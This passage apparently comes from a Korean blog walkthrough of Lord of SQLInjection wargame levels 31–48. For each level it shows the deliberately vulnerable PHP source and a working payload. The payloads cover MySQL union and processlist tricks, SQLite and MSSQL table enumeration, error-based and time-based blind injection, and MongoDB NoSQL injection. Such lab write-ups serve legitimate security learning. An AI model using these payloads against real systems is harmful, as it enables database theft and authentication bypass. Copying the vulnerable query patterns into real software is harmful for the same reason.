  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>

mysql 에서 실행중인 쿼리는 information_schema의 processlist 에 기록됩니다.
이를 활용하여 다른 사용자들이 실행시킨 쿼리 문을 알아내는 mitm sql injection이라는 기법도 존재하는데, 그 주제로 정도원님이 발표하신 자료가 있어 링크로 걸어 두겠습니다.

웹해킹이라고 무시하는 것들 보소

http://secuinside.com/archive/2017/2017-1-2.pdf

processlist 에서 실행중인 쿼리를 가져와 적절히 substring 범위를 지정해 주면 해결됩니다.

Solution : pw='union select mid(info,38,66) from information_schema.processlist#

32. alien

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

4개의 비교식을 통과하는 것이 목표인데
동일한 쿼리에서 다른 값을 반환해야 하는 것이 첫번째 조건이고
싱글쿼트 처리가 된 쿼리에서도 동일하게 작동하는 것이 두번째 조건입니다.

#을 넣었을때 싱글쿼트 안에서는 문자열로 취급되고
밖에서는 일반 구문으로 해석된다는 점을 이용하면
문제를 해결할 수 있습니다.

Solution : no=0#' union select concat(char(now()%2+96),"dmin") id%0aunion select concat(char(now()%2-sleep(1)+97),"dmin") id limit 1#

33. cthulhu

<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

최소한의 mod security 설정이 적용된 문제입니다.
괄호나 특수문자, SQL 구문 등을 기반으로 필터링되는데
이것저것 시도하다보면 어렵지 않게 답을 찾을 수 있습니다.

Solution : id=\&pw=||1#

34. death

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

이전 문제와 동일하지만 guest 계정이 존재하므로 조건식, limit, order by 등을 사용해주면 되겠습니다.

Solution1 : id=\&pw=||1 limit 1,1#
Solution2 : id=\&pw=||id=0x61646d696e#

35. godzilla

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

‘%’는 필터링되지만 rlike 를 사용하거나 hex 인코딩을 통해 우회할 수 있습니다.

Solution1 : id=\&pw=||pw rlike '^a'#
Solution2 : id=\&pw=||pw like 0x25#

36. cyclops

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

테이블에 데이터가 없으므로 union 구문을 이용해야 합니다.

Solution : id=\&pw=union/**/select/**/0x6669727374 x,0x7365636f6e64#

37. chupacabra

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

sqlite 인젝션 문제입니다. 쿼리 문법에 있어서는 mysql 과 유사한 점이 많지만 sqlite에서는 #을 주석용법으로 사용하지 않는다는 점만은 기억해둡시다.

Solution : id=1&pw='union select"admin"--

38. manticore

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/manticore.db");
  $_GET['id'] = addslashes($_GET['id']);
  $_GET['pw'] = addslashes($_GET['pw']);
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("manticore");
  highlight_file(__FILE__);
?>

실제 데이터가 없으므로 union 구문을 이용해야 합니다.
addslashes 함수의 영향으로 싱글쿼트 앞에 백슬래시가 붙지만 sqlite 에서는 mysql 과 다르게 쿼트 앞에 백슬래시가 붙어도 구문으로서 해석합니다.
char 함수를 통해 문자를 만들고 ||으로 결합해서 사용하면 되겠습니다.

Solution : id=&pw=' and 0 union select (char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))--

39. banshee

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/banshee.db");
  if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>login success!</h2>";

  $query = "select pw from member where id='admin'"; 
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("banshee"); 
  highlight_file(__FILE__);
?>

sqlite에서는 mysql과 다르게 &&, ||을 사용할 수 없다는 점만 알고 넘어갑시다.

Solution : pw=' or id="admin" and pw like '<BRUTE_HERE>%'--

40. poltergeist

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

sqlite에서는 select tbl_name from sqlite_master 쿼리를 통해 모든 테이블명을 조회할 수 있습니다.

// Solution
1. pw=' union select group_concat(tbl_name) from sqlite_master--
2. pw=' union select * from flag_1q2w3e4r--

41. nessie

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|watifor/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select pw from prob_nessie where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("nessie"); 
  highlight_file(__FILE__);
?>

mssql error based sql injection 문제입니다.
mssql에서는 문자열 값과 int를 비교하도록 하면 그 과정에서 문자열을 int로 변환하도록 시도하는데 에러메시지에 해당값이 그대로 노출됩니다.

// Solution
1. id=admin&pw=' or id='admin' and pw=1--
2. pw=' union select * from flag_1q2w3e4r--+-

42. revenant

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

mysql 에서는 존재하지 않는 함수인데 mssql에서는 col_name 함수를 사용하면 db명을 인자로 받아 컬럼명을 조회할 수 있습니다.

// Solution
1. id='order by 5--&pw=1
2. id=admin&pw=' or id='admin' and col_name(Object_id('pro'+'b_revenant'),4)=1--+-
3. id=admin&pw=' or id='admin' and convert(int,"1q2w3e4r")=1-- -

43. yeti

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

결과값이 나오지 않으며, 오류 표시도 되지 않으므로 Time based blind injection을 사용하여 문제를 해결해야 합니다.

Solution : id=admin&pw=' if((select pw from prob_yeti where id='admin')like'%') waitfor delay '0:0:1'-- -

44. mummy

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("mummy");
  if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
  for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
  $query = "select".$_GET['query'];
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result[0]) echo "<h2>Hello anonymous</h2>";

  $query = "select pw from prob_mummy where id='admin'";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("mummy");
  highlight_file(__FILE__);
?>

mssql에서는 컬럼명을 더블 쿼트로 포장할 수 있습니다.
그러면 공백을 사용하지 않고 쿼리문을 작성할 수 있죠.

Solution : query='1'from"prob_mummy"where"id"='admin'and"pw"like'%'

45. kraken

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("kraken");
  if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['id']) echo "<h2>{$result['id']}</h2>";

  if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

mssql에서는 dbname..sysobjects 구문을 통해 테이블 명을 조회할 수 있습니다.

// Solution
1. pw=' union select name from kraken..sysobjects where xtype='U' and name like 'flag%'--
2. pw=' union select * from flag_ccdfe62b--

46. cerberus

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_cerberus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
  if($result['id'] === "admin") solve("cerberus");
  highlight_file(__FILE__);
?>

PayloadsAllTheThings – NoSQL injection

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#nosql-injection

MongoDB Injection의 문제입니다.
arg[$ne]=와 같은 형식으로 파라미터를 전달하면
서버에서는 JSON으로 {“arg”{“$ne”, “”}} 와 같이 해석하는데
이는 NoSQL의 비교구문이 되므로 arg값이 비어있지 않을 경우
쿼리는 항상 true를 리턴하게 됩니다.

Solution : id=admin&pw[$ne]=

47. siren

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_siren->find($query));
  if($result['id']) echo "<h2>Hello User</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_siren->find($query));
  if($result['pw'] === $_GET['pw']) solve("siren");
  highlight_file(__FILE__);
?>

이전 문제와 비슷하지만 실제 pw를 도출하는 것 까지가 목표입니다.
arg[$regex]=.* 와 같이 입력해주면
서버측에서는 JSON으로 {“arg”:{“$regex”, “.*”}} 와 같이 해석하는데
MongoDB 문법으로 정규식 비교문이 됩니다.
이를 이용해 한글자씩 대입해 보면 답을 알아낼 수 있습니다.

Solution : id=admin&pw[$regex]=^BRUTE_HERE.*

48. incubus

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['pw'] === $_GET['pw']) solve("incubus");
  highlight_file(__FILE__);
?>

마지막 문제입니다.

Solution : id=&pw='||obj.id=='admin'&&obj.pw[0]=='BRUTE_HERE

Leave a Reply

Your email address will not be published. Required fields are marked *